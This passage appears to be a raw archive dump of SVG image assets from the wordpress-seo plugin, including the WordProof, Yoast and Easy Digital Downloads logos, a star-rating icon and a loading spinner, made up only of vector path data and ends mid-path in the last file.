wordpress-seo/packages/js/images/wordproof-logo.svg000064400000006301147510273070016525 0ustar00<svg viewBox="0 0 331 100" fill="none" xmlns="http://www.w3.org/2000/svg" width="140" height="100%"><rect width="100" height="100" rx="2" fill="#2000FF"></rect><path d="M81.9995 24.6154C83.3174 24.6154 84.2751 25.868 83.9295 27.1398L70.8032 75.4475C70.5665 76.3185 69.7758 76.9231 68.8732 76.9231H57.4891L50.7693 49.6795H61.3784L64.0335 62.108L74.5165 24.6154H81.9995Z" fill="white"></path><path opacity="0.8" d="M45.2764 24.6154L34.8392 62.0208L26.7866 24.6154H17.9375C16.6391 24.6154 15.6849 25.8333 15.9956 27.094L27.9026 75.4017C28.1228 76.2952 28.9243 76.9231 29.8445 76.9231H39.6469C40.5495 76.9231 41.3403 76.3184 41.5769 75.4474L54.699 27.1397C55.0444 25.8678 54.0868 24.6154 52.7689 24.6154H45.2764Z" fill="white"></path><path d="M141.36 35.28L136.8 54.04L132.16 35.28H125.24L132.92 64H139.36L144.08 45.64L148.88 64H155.32L162.96 35.28H156.2L151.6 54.04L147 35.28H141.36ZM183.786 53.48C183.786 46.92 179.426 42.48 173.226 42.48C166.986 42.48 162.666 46.92 162.666 53.48C162.666 60.04 166.986 64.44 173.226 64.44C179.426 64.44 183.786 60.04 183.786 53.48ZM169.026 53.48C169.026 49.8 170.666 47.72 173.226 47.72C175.786 47.72 177.426 49.8 177.426 53.48C177.426 57.16 175.786 59.24 173.226 59.24C170.666 59.24 169.026 57.16 169.026 53.48ZM200.804 42.88C200.404 42.84 200.004 42.8 199.404 42.8C196.964 42.8 194.924 44 193.964 45.68V42.92H187.564V64H193.964V53.64C193.964 50.6 196.164 48.88 198.924 48.88C199.644 48.88 200.124 48.92 200.804 49.04V42.88ZM211.723 64.44C214.243 64.44 216.243 63.4 217.443 61.92V64H223.843V35.28H217.443V45.04C216.243 43.52 214.243 42.48 211.723 42.48C205.923 42.48 202.643 47.44 202.643 53.48C202.643 59.48 205.923 64.44 211.723 64.44ZM217.483 52.92V54.04C217.483 57.2 215.763 59 213.363 59C210.563 59 209.083 56.72 209.083 53.48C209.083 50.24 210.563 47.96 213.363 47.96C215.763 47.96 217.483 49.72 217.483 52.92ZM235.67 54H241.11C247.87 54 252.07 50.76 252.07 44.64C252.07 38.48 247.87 35.28 241.11 35.28H228.99V64H235.67V54ZM235.67 48.4V40.92H240.75C243.91 40.92 245.51 42.28 245.51 44.64C245.51 47 243.91 48.4 240.75 48.4H235.67ZM268.424 42.88C268.024 42.84 267.624 42.8 267.024 42.8C264.584 42.8 262.544 44 261.584 45.68V42.92H255.184V64H261.584V53.64C261.584 50.6 263.784 48.88 266.544 48.88C267.264 48.88 267.744 48.92 268.424 49.04V42.88ZM291.226 53.48C291.226 46.92 286.866 42.48 280.666 42.48C274.426 42.48 270.106 46.92 270.106 53.48C270.106 60.04 274.426 64.44 280.666 64.44C286.866 64.44 291.226 60.04 291.226 53.48ZM276.466 53.48C276.466 49.8 278.106 47.72 280.666 47.72C283.226 47.72 284.866 49.8 284.866 53.48C284.866 57.16 283.226 59.24 280.666 59.24C278.106 59.24 276.466 57.16 276.466 53.48ZM315.042 53.48C315.042 46.92 310.682 42.48 304.482 42.48C298.242 42.48 293.922 46.92 293.922 53.48C293.922 60.04 298.242 64.44 304.482 64.44C310.682 64.44 315.042 60.04 315.042 53.48ZM300.282 53.48C300.282 49.8 301.922 47.72 304.482 47.72C307.042 47.72 308.682 49.8 308.682 53.48C308.682 57.16 307.042 59.24 304.482 59.24C301.922 59.24 300.282 57.16 300.282 53.48ZM329.94 35.04C329.06 34.96 328.46 34.92 327.58 34.92C322.06 34.92 319.62 37.44 319.62 41.92V42.92H316.9V48.2H319.62V64H326.02V48.2H329.9V42.92H326.02V42.28C326.02 40.44 326.86 40 328.5 40C329.1 40 329.46 40 329.94 40.04V35.04Z" fill="#2000FF"></path></svg>wordpress-seo/packages/js/images/star-rating-half.svg000064400000001602147510273070016710 0ustar00<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" id="Layer_1" data-name="Layer 1" viewBox="0 0 500 475.53"><defs><style>.cls-1{fill:#fbbf24;}.cls-2{fill:#f3f4f6;}</style></defs><polygon class="cls-1" points="250 392.04 98.15 471.87 127.15 302.78 4.3 183.03 174.07 158.36 250 4.52 325.93 158.36 495.7 183.03 372.85 302.78 401.85 471.87 250 392.04"></polygon><path class="cls-1" d="M250,33.51l73.67,149.27.93,1.88,2.08.3L491.4,208.9,372.21,325.09l-1.51,1.47.36,2.07L399.2,492.69,251.86,415.23l-1.86-1-1.86,1L100.8,492.69l28.14-164.06.36-2.07-1.51-1.47L8.6,208.9,173.32,185l2.08-.3.93-1.88L250,33.51m0-9L172.75,181,0,206.11,125,328,95.49,500,250,418.77,404.51,500,375,328,500,206.11,327.25,181,250,24.47Z" transform="translate(0 -24.47)"></path><polygon class="cls-2" points="500 181.64 327.25 156.53 250 0 250 394.3 404.51 475.53 375 303.48 500 181.64"></polygon></svg> wordpress-seo/packages/js/images/Yoast_icon_kader.svg000064400000002471147510273070017027 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 425 456.27" role="img" aria-hidden="true" focusable="false"><path d="M73 405.26a66.79 66.79 0 0 1-6.54-1.7 64.75 64.75 0 0 1-6.28-2.31c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92a70.154 70.154 0 0 1-5.08-4.19 69.21 69.21 0 0 1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24a70.747 70.747 0 0 1-3.44-5.64 68.29 68.29 0 0 1-8.29-32.55V142.13a68.26 68.26 0 0 1 8.29-32.55c1-1.92 2.21-3.82 3.44-5.64s2.55-3.58 4-5.27a69.26 69.26 0 0 1 14.49-13.25C50.37 84.19 52.27 83 54.2 82A67.59 67.59 0 0 1 73 75.09a68.75 68.75 0 0 1 13.75-1.39h169.66L263 55.39H86.75A86.84 86.84 0 0 0 0 142.13v196.09A86.84 86.84 0 0 0 86.75 425h11.32v-18.35H86.75A68.75 68.75 0 0 1 73 405.26zM368.55 60.85l-1.41-.53-6.41 17.18 1.41.53a68.06 68.06 0 0 1 8.66 4c1.93 1 3.82 2.2 5.65 3.43A69.19 69.19 0 0 1 391 98.67c1.4 1.68 2.72 3.46 3.95 5.27s2.39 3.72 3.44 5.64a68.29 68.29 0 0 1 8.29 32.55v264.52H233.55l-.44.76c-3.07 5.37-6.26 10.48-9.49 15.19L222 425h203V142.13a87.2 87.2 0 0 0-56.45-81.28z"/><path d="M119.8 408.28v46c28.49-1.12 50.73-10.6 69.61-29.58 19.45-19.55 36.17-50 52.61-96L363.94 1.9H305l-98.25 272.89-48.86-153h-54l71.7 184.18a75.67 75.67 0 0 1 0 55.12c-7.3 18.68-20.25 40.66-55.79 47.19z" stroke="#000" stroke-miterlimit="10" stroke-width="3.81"/></svg>wordpress-seo/packages/js/images/yoast_loading_spinner.svg000064400000002212147510273070020135 0ustar00<svg role="img" aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 229.95 98"><defs><style>.cls-1{fill:#e7c9da;}.cls-2{fill:#a4296a;}</style><symbol id="Spinner" data-name="Spinner" viewBox="0 0 98 98"><path class="cls-1" d="M49,0A49,49,0,1,0,98,49,49,49,0,0,0,49,0Zm0,89A40,40,0,1,1,89,49,40,40,0,0,1,49,89Z"/><path class="cls-2" d="M91.44,73.5A49,49,0,0,1,49,98V89A40,40,0,0,0,83.65,69Z"/></symbol></defs><use width="98" height="98" xlink:href="#Spinner"/><path class="cls-1" d="M221.45,137.3a24,24,0,1,0,24,24,24,24,0,0,0-24-24Zm0,43.59A19.59,19.59,0,1,1,241,161.3a19.59,19.59,0,0,1-19.59,19.59Z" transform="translate(-65.23 -112.3)"/><path class="cls-2" d="M242.23,173.3a24,24,0,0,1-20.78,12v-4.41a19.6,19.6,0,0,0,17-9.79Z" transform="translate(-65.23 -112.3)"/><path class="cls-1" d="M283.18,149.3a12,12,0,0,0-.11,24h.11a12,12,0,0,0,.1-24Zm0,21.8h-.09a9.8,9.8,0,0,1,.09-19.6h.08a9.8,9.8,0,0,1-.08,19.6Z" transform="translate(-65.23 -112.3)"/><path class="cls-2" d="M289.27,151a12,12,0,0,1,5.91,10.45l-2.21,0a9.76,9.76,0,0,0-4.82-8.53Z" transform="translate(-65.23 -112.3)"/></svg>wordpress-seo/packages/js/images/edd-logo.svg000064400000057547147510273070015262 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg width="130" height="60" viewBox="0 0 339 157" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" xmlns:serif="http://www.serif.com/" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:1.41421;"><g><path d="M206.613,15.378c-9.499,-9.502 -22.628,-15.378 -37.125,-15.378c-14.501,0 -27.628,5.876 -37.13,15.378c-9.504,9.502 -15.38,22.631 -15.38,37.13c0,14.499 5.876,27.628 15.378,37.13c9.502,9.504 22.631,15.378 37.132,15.378c14.499,0 27.628,-5.879 37.127,-15.378c9.502,-9.504 15.378,-22.631 15.378,-37.13c0,-14.499 -5.878,-27.628 -15.38,-37.13Zm-1.732,72.524c-9.057,9.058 -21.572,14.661 -35.395,14.661c-13.823,0 -26.339,-5.603 -35.397,-14.661c-9.058,-9.058 -14.661,-21.572 -14.661,-35.394c0,-13.823 5.603,-26.337 14.661,-35.395c9.058,-9.058 21.572,-14.661 35.395,-14.661c13.823,0 26.337,5.603 35.395,14.661c9.058,9.058 14.66,21.572 14.66,35.395c0.002,13.822 -5.601,26.337 -14.658,35.394Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M214.656,52.07c-0.236,-24.746 -20.367,-44.734 -45.168,-44.734c-24.803,0 -44.936,19.99 -45.168,44.736l20.712,-20.712l6.946,6.946l-15.157,15.157l65.333,0l-15.157,-15.157l6.946,-6.946l20.713,20.71Zm-45.17,-7.762l-19.246,-20.196l12.79,0l0,-9.955c0,-2.584 2.906,-4.702 6.456,-4.702c3.55,0 6.456,2.116 6.456,4.702l0,9.955l12.79,0l-19.246,20.196Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M175.1,77.93c-1.026,-0.667 -2.326,-1.267 -3.894,-1.788c-1.199,-0.413 -2.186,-0.803 -2.956,-1.179c-0.764,-0.372 -1.328,-0.785 -1.689,-1.221c-0.37,-0.444 -0.543,-0.976 -0.543,-1.586c0,-0.488 0.147,-0.952 0.462,-1.391c0.309,-0.438 0.792,-0.803 1.448,-1.079c0.663,-0.28 1.507,-0.431 2.555,-0.436c0.844,0.004 1.615,0.072 2.312,0.193c0.689,0.125 1.3,0.276 1.823,0.449c0.53,0.179 0.958,0.348 1.295,0.507l1.166,-3.516c-0.705,-0.354 -1.588,-0.648 -2.66,-0.886c-0.91,-0.201 -1.952,-0.317 -3.135,-0.357l0,-3.638l-3.205,0l0,3.82c-0.514,0.083 -1.007,0.195 -1.473,0.33c-1.179,0.348 -2.192,0.831 -3.03,1.462c-0.831,0.628 -1.475,1.363 -1.917,2.205c-0.444,0.842 -0.663,1.77 -0.672,2.768c0.006,1.155 0.309,2.173 0.906,3.052c0.597,0.88 1.448,1.643 2.547,2.297c1.094,0.652 2.4,1.214 3.91,1.687c1.133,0.363 2.057,0.742 2.761,1.131c0.705,0.387 1.221,0.814 1.542,1.28c0.328,0.466 0.49,1.006 0.484,1.61c0,0.663 -0.195,1.238 -0.575,1.735c-0.376,0.49 -0.932,0.875 -1.663,1.148c-0.731,0.276 -1.623,0.411 -2.669,0.42c-0.851,-0.006 -1.676,-0.079 -2.481,-0.217c-0.799,-0.144 -1.549,-0.33 -2.24,-0.562c-0.698,-0.232 -1.308,-0.484 -1.838,-0.766l-1.127,3.662c0.51,0.28 1.146,0.532 1.925,0.764c0.779,0.234 1.636,0.42 2.575,0.562c0.932,0.138 1.89,0.208 2.864,0.217l0.171,-0.002l0,3.761l3.205,0l0,-4.063c0.407,-0.079 0.794,-0.173 1.162,-0.282c1.286,-0.387 2.354,-0.915 3.199,-1.591c0.851,-0.67 1.481,-1.446 1.899,-2.321c0.416,-0.875 0.624,-1.801 0.624,-2.787c0,-1.155 -0.247,-2.177 -0.757,-3.056c-0.515,-0.887 -1.281,-1.664 -2.311,-2.336Z" style="fill:#35495c;fill-rule:nonzero;"/></g><g><path d="M3.999,141.181c0,0.701 0.099,1.38 0.298,2.034c0.198,0.655 0.496,1.228 0.894,1.719c0.397,0.491 0.9,0.883 1.508,1.175c0.608,0.293 1.333,0.439 2.175,0.439c1.169,0 2.11,-0.251 2.824,-0.754c0.713,-0.502 1.245,-1.256 1.596,-2.262l3.788,0c-0.21,0.982 -0.573,1.859 -1.087,2.631c-0.515,0.772 -1.135,1.421 -1.859,1.946c-0.725,0.526 -1.538,0.924 -2.438,1.193c-0.901,0.268 -1.842,0.403 -2.824,0.403c-1.427,0 -2.689,-0.234 -3.788,-0.701c-1.1,-0.468 -2.029,-1.123 -2.789,-1.965c-0.76,-0.842 -1.333,-1.847 -1.719,-3.016c-0.385,-1.17 -0.578,-2.456 -0.578,-3.859c0,-1.286 0.205,-2.508 0.614,-3.665c0.409,-1.157 0.994,-2.175 1.754,-3.052c0.76,-0.877 1.678,-1.573 2.754,-2.087c1.075,-0.514 2.291,-0.772 3.648,-0.772c1.426,0 2.706,0.298 3.841,0.894c1.134,0.596 2.075,1.386 2.824,2.368c0.748,0.982 1.292,2.111 1.631,3.385c0.339,1.275 0.427,2.59 0.263,3.946l-13.33,0Zm9.33,-2.631c-0.047,-0.631 -0.182,-1.239 -0.404,-1.824c-0.223,-0.584 -0.526,-1.093 -0.912,-1.526c-0.386,-0.432 -0.854,-0.783 -1.403,-1.052c-0.55,-0.269 -1.163,-0.404 -1.841,-0.404c-0.702,0 -1.339,0.123 -1.912,0.369c-0.573,0.245 -1.064,0.585 -1.473,1.017c-0.409,0.433 -0.737,0.942 -0.982,1.526c-0.246,0.585 -0.38,1.216 -0.403,1.894l9.33,0Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M35.567,145.18c0,0.491 0.064,0.842 0.193,1.052c0.128,0.21 0.38,0.316 0.754,0.316c0.117,0 0.257,0 0.421,0c0.163,0 0.351,-0.023 0.561,-0.07l0,2.771c-0.14,0.047 -0.322,0.099 -0.544,0.158c-0.223,0.058 -0.45,0.111 -0.684,0.158c-0.234,0.047 -0.468,0.081 -0.702,0.105c-0.234,0.024 -0.433,0.035 -0.596,0.035c-0.819,0 -1.497,-0.164 -2.034,-0.491c-0.538,-0.327 -0.889,-0.9 -1.052,-1.719c-0.795,0.771 -1.771,1.333 -2.929,1.683c-1.157,0.351 -2.274,0.526 -3.35,0.526c-0.819,0 -1.602,-0.111 -2.35,-0.333c-0.749,-0.222 -1.409,-0.549 -1.982,-0.982c-0.573,-0.433 -1.029,-0.982 -1.368,-1.649c-0.339,-0.666 -0.509,-1.444 -0.509,-2.333c0,-1.122 0.204,-2.034 0.614,-2.736c0.409,-0.701 0.947,-1.251 1.613,-1.649c0.666,-0.397 1.414,-0.684 2.245,-0.859c0.83,-0.175 1.666,-0.31 2.508,-0.404c0.725,-0.14 1.415,-0.239 2.069,-0.298c0.654,-0.058 1.233,-0.158 1.736,-0.298c0.503,-0.14 0.9,-0.356 1.193,-0.649c0.292,-0.292 0.438,-0.73 0.438,-1.315c0,-0.514 -0.123,-0.935 -0.368,-1.263c-0.246,-0.327 -0.55,-0.579 -0.912,-0.754c-0.363,-0.175 -0.766,-0.292 -1.21,-0.351c-0.445,-0.058 -0.865,-0.088 -1.263,-0.088c-1.122,0 -2.047,0.234 -2.771,0.702c-0.725,0.468 -1.135,1.193 -1.228,2.175l-3.999,0c0.07,-1.169 0.351,-2.14 0.842,-2.911c0.491,-0.772 1.117,-1.391 1.877,-1.859c0.76,-0.467 1.619,-0.795 2.578,-0.982c0.958,-0.187 1.941,-0.281 2.946,-0.281c0.888,0 1.765,0.094 2.631,0.281c0.865,0.188 1.643,0.491 2.333,0.912c0.689,0.421 1.245,0.965 1.666,1.631c0.421,0.666 0.631,1.479 0.631,2.438l0,9.331l0.002,0Zm-3.998,-5.052c-0.608,0.398 -1.356,0.638 -2.245,0.719c-0.889,0.082 -1.777,0.205 -2.666,0.369c-0.421,0.07 -0.83,0.17 -1.228,0.298c-0.398,0.129 -0.749,0.304 -1.052,0.526c-0.304,0.223 -0.544,0.515 -0.719,0.877c-0.175,0.363 -0.263,0.801 -0.263,1.315c0,0.445 0.128,0.819 0.386,1.123c0.257,0.304 0.567,0.543 0.93,0.719c0.362,0.175 0.759,0.298 1.193,0.368c0.432,0.071 0.824,0.105 1.175,0.105c0.444,0 0.924,-0.058 1.438,-0.175c0.514,-0.117 1,-0.316 1.456,-0.596c0.456,-0.28 0.836,-0.636 1.14,-1.07c0.304,-0.432 0.456,-0.964 0.456,-1.596l0,-2.982l-0.001,0Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M42.898,143.39c0.117,1.17 0.561,1.988 1.333,2.456c0.772,0.468 1.695,0.701 2.771,0.701c0.374,0 0.801,-0.029 1.28,-0.088c0.479,-0.058 0.93,-0.169 1.351,-0.333c0.421,-0.163 0.766,-0.403 1.035,-0.719c0.268,-0.316 0.391,-0.731 0.368,-1.245c-0.024,-0.514 -0.21,-0.935 -0.561,-1.263c-0.351,-0.327 -0.801,-0.59 -1.35,-0.789c-0.55,-0.198 -1.175,-0.369 -1.877,-0.509c-0.702,-0.14 -1.415,-0.292 -2.14,-0.456c-0.749,-0.163 -1.468,-0.362 -2.157,-0.596c-0.69,-0.234 -1.31,-0.549 -1.859,-0.947c-0.55,-0.397 -0.988,-0.906 -1.315,-1.526c-0.328,-0.619 -0.491,-1.386 -0.491,-2.298c0,-0.982 0.239,-1.806 0.719,-2.473c0.479,-0.666 1.087,-1.204 1.824,-1.613c0.737,-0.409 1.555,-0.696 2.455,-0.859c0.9,-0.163 1.759,-0.245 2.578,-0.245c0.935,0 1.829,0.1 2.683,0.298c0.853,0.199 1.625,0.521 2.315,0.965c0.689,0.445 1.263,1.023 1.719,1.736c0.456,0.714 0.742,1.573 0.86,2.578l-4.174,0c-0.188,-0.958 -0.626,-1.601 -1.316,-1.929c-0.69,-0.327 -1.479,-0.491 -2.368,-0.491c-0.281,0 -0.614,0.024 -0.999,0.07c-0.386,0.047 -0.749,0.135 -1.087,0.263c-0.339,0.129 -0.626,0.316 -0.859,0.561c-0.234,0.246 -0.351,0.567 -0.351,0.965c0,0.491 0.169,0.889 0.509,1.193c0.339,0.304 0.783,0.556 1.333,0.754c0.549,0.199 1.175,0.368 1.876,0.508c0.702,0.14 1.426,0.293 2.175,0.456c0.724,0.164 1.438,0.363 2.14,0.596c0.701,0.234 1.327,0.55 1.877,0.947c0.549,0.397 0.994,0.9 1.333,1.508c0.339,0.609 0.508,1.356 0.508,2.245c0,1.076 -0.246,1.988 -0.737,2.736c-0.491,0.749 -1.128,1.357 -1.912,1.824c-0.784,0.468 -1.654,0.807 -2.613,1.017c-0.959,0.21 -1.906,0.316 -2.841,0.316c-1.146,0 -2.204,-0.129 -3.174,-0.386c-0.971,-0.257 -1.812,-0.649 -2.525,-1.175c-0.714,-0.526 -1.275,-1.18 -1.684,-1.964c-0.409,-0.784 -0.626,-1.713 -0.649,-2.789l3.997,0Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M56.086,131.079l4.385,0l4.735,13.539l0.07,0l4.595,-13.539l4.174,0l-7.05,19.116c-0.328,0.818 -0.649,1.601 -0.965,2.35c-0.316,0.748 -0.701,1.408 -1.157,1.982c-0.456,0.573 -1.023,1.029 -1.701,1.368c-0.678,0.339 -1.543,0.509 -2.596,0.509c-0.936,0 -1.859,-0.07 -2.771,-0.21l0,-3.368c0.327,0.047 0.643,0.1 0.947,0.158c0.304,0.058 0.619,0.088 0.947,0.088c0.467,0 0.853,-0.058 1.157,-0.175c0.304,-0.118 0.555,-0.287 0.754,-0.509c0.198,-0.223 0.368,-0.486 0.509,-0.79c0.14,-0.304 0.268,-0.655 0.386,-1.052l0.456,-1.403l-6.875,-18.064Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M90.18,149.213l0,-3.438l-0.07,0c-0.234,0.585 -0.579,1.123 -1.035,1.614c-0.456,0.491 -0.976,0.907 -1.561,1.245c-0.585,0.339 -1.21,0.602 -1.877,0.789c-0.666,0.187 -1.327,0.281 -1.982,0.281c-1.38,0 -2.578,-0.251 -3.595,-0.754c-1.017,-0.502 -1.865,-1.192 -2.543,-2.069c-0.679,-0.877 -1.181,-1.894 -1.508,-3.052c-0.328,-1.158 -0.491,-2.379 -0.491,-3.666c0,-1.286 0.163,-2.508 0.491,-3.665c0.327,-1.157 0.83,-2.175 1.508,-3.052c0.678,-0.877 1.526,-1.573 2.543,-2.087c1.017,-0.514 2.215,-0.772 3.595,-0.772c0.678,0 1.339,0.082 1.982,0.245c0.643,0.164 1.245,0.415 1.807,0.754c0.561,0.339 1.058,0.754 1.491,1.245c0.432,0.491 0.766,1.064 1,1.719l0.07,0l0,-10.382l2.21,0l0,25.044l-2.035,0l0,0.001Zm-12.119,-6.261c0.222,0.924 0.573,1.748 1.052,2.473c0.479,0.725 1.093,1.315 1.842,1.771c0.748,0.456 1.649,0.684 2.701,0.684c1.169,0 2.157,-0.228 2.964,-0.684c0.807,-0.456 1.461,-1.046 1.964,-1.771c0.503,-0.725 0.865,-1.549 1.087,-2.473c0.222,-0.924 0.333,-1.853 0.333,-2.789c0,-0.935 -0.111,-1.864 -0.333,-2.788c-0.223,-0.923 -0.585,-1.748 -1.087,-2.473c-0.503,-0.725 -1.157,-1.316 -1.964,-1.772c-0.807,-0.456 -1.795,-0.684 -2.964,-0.684c-1.052,0 -1.953,0.228 -2.701,0.684c-0.749,0.456 -1.363,1.047 -1.842,1.772c-0.48,0.725 -0.83,1.549 -1.052,2.473c-0.222,0.924 -0.333,1.853 -0.333,2.788c0,0.936 0.111,1.866 0.333,2.789Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M98.668,124.169l0,3.543l-2.21,0l0,-3.543l2.21,0Zm0,6.945l0,18.099l-2.21,0l0,-18.099l2.21,0Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M117.767,151.353c-0.293,1.076 -0.754,1.988 -1.386,2.736c-0.632,0.748 -1.456,1.321 -2.473,1.719c-1.017,0.397 -2.263,0.596 -3.736,0.596c-0.912,0 -1.801,-0.105 -2.666,-0.316c-0.865,-0.21 -1.643,-0.538 -2.332,-0.982c-0.69,-0.445 -1.263,-1.012 -1.719,-1.701c-0.456,-0.69 -0.719,-1.514 -0.789,-2.473l2.21,0c0.117,0.678 0.345,1.245 0.684,1.702c0.339,0.456 0.748,0.824 1.228,1.105c0.479,0.281 1.011,0.485 1.596,0.614c0.584,0.128 1.18,0.193 1.789,0.193c2.057,0 3.543,-0.585 4.455,-1.754c0.912,-1.17 1.368,-2.853 1.368,-5.051l0,-2.456l-0.07,0c-0.515,1.123 -1.269,2.023 -2.262,2.701c-0.994,0.678 -2.157,1.017 -3.49,1.017c-1.45,0 -2.689,-0.24 -3.718,-0.719c-1.029,-0.479 -1.877,-1.14 -2.543,-1.982c-0.666,-0.842 -1.152,-1.829 -1.456,-2.964c-0.304,-1.134 -0.456,-2.344 -0.456,-3.63c0,-1.239 0.181,-2.414 0.544,-3.525c0.362,-1.11 0.888,-2.081 1.578,-2.911c0.689,-0.83 1.543,-1.485 2.561,-1.964c1.017,-0.479 2.18,-0.719 3.49,-0.719c0.678,0 1.315,0.094 1.912,0.281c0.596,0.188 1.14,0.45 1.631,0.789c0.491,0.339 0.93,0.731 1.316,1.175c0.386,0.445 0.684,0.912 0.894,1.403l0.07,0l0,-3.122l2.21,0l0,16.626c-0.001,1.332 -0.148,2.536 -0.44,3.612Zm-5.068,-4.823c0.724,-0.409 1.333,-0.947 1.824,-1.613c0.491,-0.666 0.859,-1.432 1.105,-2.297c0.246,-0.865 0.368,-1.754 0.368,-2.666c0,-0.888 -0.105,-1.777 -0.316,-2.666c-0.21,-0.888 -0.55,-1.695 -1.017,-2.42c-0.468,-0.724 -1.07,-1.309 -1.806,-1.754c-0.737,-0.444 -1.631,-0.666 -2.683,-0.666c-1.052,0 -1.953,0.216 -2.701,0.649c-0.749,0.433 -1.368,1 -1.859,1.701c-0.491,0.701 -0.848,1.503 -1.07,2.403c-0.223,0.9 -0.333,1.818 -0.333,2.754c0,0.912 0.117,1.801 0.351,2.666c0.233,0.865 0.596,1.631 1.087,2.297c0.491,0.666 1.11,1.205 1.859,1.613c0.748,0.41 1.636,0.614 2.666,0.614c0.958,-0.001 1.8,-0.205 2.525,-0.615Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M124.66,124.169l0,3.543l-2.21,0l0,-3.543l2.21,0Zm0,6.945l0,18.099l-2.21,0l0,-18.099l2.21,0Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M136.094,131.114l0,1.859l-3.683,0l0,12.207c0,0.725 0.099,1.292 0.298,1.701c0.198,0.41 0.696,0.638 1.491,0.684c0.631,0 1.263,-0.035 1.894,-0.105l0,1.859c-0.328,0 -0.655,0.011 -0.982,0.035c-0.328,0.023 -0.655,0.035 -0.982,0.035c-1.473,0 -2.503,-0.286 -3.087,-0.86c-0.585,-0.573 -0.865,-1.631 -0.842,-3.174l0,-12.382l-3.157,0l0,-1.859l3.157,0l0,-5.437l2.21,0l0,5.437l3.683,0Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M139.742,133.92c0.374,-0.772 0.883,-1.403 1.526,-1.894c0.643,-0.491 1.397,-0.853 2.262,-1.087c0.865,-0.233 1.824,-0.351 2.877,-0.351c0.794,0 1.59,0.076 2.385,0.228c0.795,0.152 1.508,0.439 2.14,0.859c0.631,0.421 1.146,1.012 1.543,1.772c0.397,0.76 0.596,1.748 0.596,2.964l0,9.611c0,0.888 0.433,1.332 1.298,1.332c0.257,0 0.491,-0.047 0.701,-0.14l0,1.859c-0.257,0.047 -0.486,0.082 -0.684,0.105c-0.199,0.024 -0.45,0.035 -0.754,0.035c-0.561,0 -1.011,-0.075 -1.35,-0.228c-0.34,-0.152 -0.602,-0.369 -0.79,-0.649c-0.187,-0.281 -0.31,-0.614 -0.368,-1c-0.059,-0.386 -0.088,-0.812 -0.088,-1.281l-0.07,0c-0.398,0.585 -0.801,1.105 -1.21,1.561c-0.409,0.456 -0.865,0.837 -1.368,1.14c-0.503,0.304 -1.076,0.538 -1.719,0.701c-0.643,0.163 -1.409,0.246 -2.297,0.246c-0.842,0 -1.631,-0.1 -2.367,-0.298c-0.737,-0.198 -1.38,-0.514 -1.929,-0.947c-0.55,-0.432 -0.982,-0.982 -1.298,-1.649c-0.316,-0.666 -0.474,-1.455 -0.474,-2.367c0,-1.263 0.281,-2.251 0.842,-2.964c0.562,-0.713 1.303,-1.256 2.227,-1.631c0.924,-0.374 1.965,-0.637 3.122,-0.789c1.157,-0.152 2.333,-0.298 3.525,-0.438c0.467,-0.047 0.877,-0.105 1.228,-0.175c0.351,-0.07 0.643,-0.193 0.877,-0.368c0.233,-0.175 0.414,-0.415 0.543,-0.719c0.128,-0.304 0.193,-0.702 0.193,-1.193c0,-0.748 -0.123,-1.362 -0.369,-1.841c-0.246,-0.479 -0.585,-0.86 -1.017,-1.14c-0.433,-0.281 -0.936,-0.474 -1.508,-0.579c-0.573,-0.105 -1.188,-0.158 -1.842,-0.158c-1.403,0 -2.549,0.333 -3.437,1c-0.889,0.666 -1.356,1.736 -1.404,3.209l-2.21,0c0.071,-1.052 0.293,-1.964 0.668,-2.736Zm11.049,5.402c-0.141,0.258 -0.41,0.445 -0.807,0.561c-0.397,0.117 -0.748,0.199 -1.052,0.245c-0.936,0.164 -1.9,0.311 -2.894,0.439c-0.994,0.129 -1.9,0.322 -2.718,0.579c-0.819,0.258 -1.491,0.626 -2.017,1.105c-0.526,0.48 -0.789,1.163 -0.789,2.052c0,0.562 0.111,1.059 0.333,1.491c0.222,0.433 0.52,0.807 0.894,1.123c0.374,0.316 0.807,0.556 1.298,0.719c0.491,0.164 0.994,0.246 1.508,0.246c0.842,0 1.649,-0.128 2.42,-0.386c0.772,-0.257 1.444,-0.632 2.017,-1.123c0.572,-0.491 1.029,-1.087 1.368,-1.789c0.339,-0.702 0.509,-1.496 0.509,-2.385l0,-2.876l-0.07,0l0,-0.001Z" style="fill:#35495c;fill-rule:nonzero;"/><rect x="157.525" y="124.169" width="2.21" height="25.044" style="fill:#35495c;fill-rule:nonzero;"/><path d="M181.061,149.213l-3.788,0l0,-2.455l-0.07,0c-0.538,1.052 -1.321,1.806 -2.35,2.262c-1.029,0.456 -2.117,0.684 -3.262,0.684c-1.427,0 -2.672,-0.251 -3.736,-0.754c-1.064,-0.502 -1.947,-1.186 -2.648,-2.052c-0.702,-0.865 -1.228,-1.888 -1.578,-3.069c-0.351,-1.18 -0.526,-2.449 -0.526,-3.806c0,-1.636 0.222,-3.052 0.666,-4.244c0.444,-1.193 1.035,-2.175 1.772,-2.946c0.737,-0.772 1.578,-1.338 2.525,-1.701c0.947,-0.362 1.912,-0.544 2.894,-0.544c0.562,0 1.134,0.052 1.719,0.158c0.584,0.105 1.145,0.275 1.683,0.509c0.538,0.234 1.035,0.532 1.491,0.894c0.456,0.363 0.836,0.789 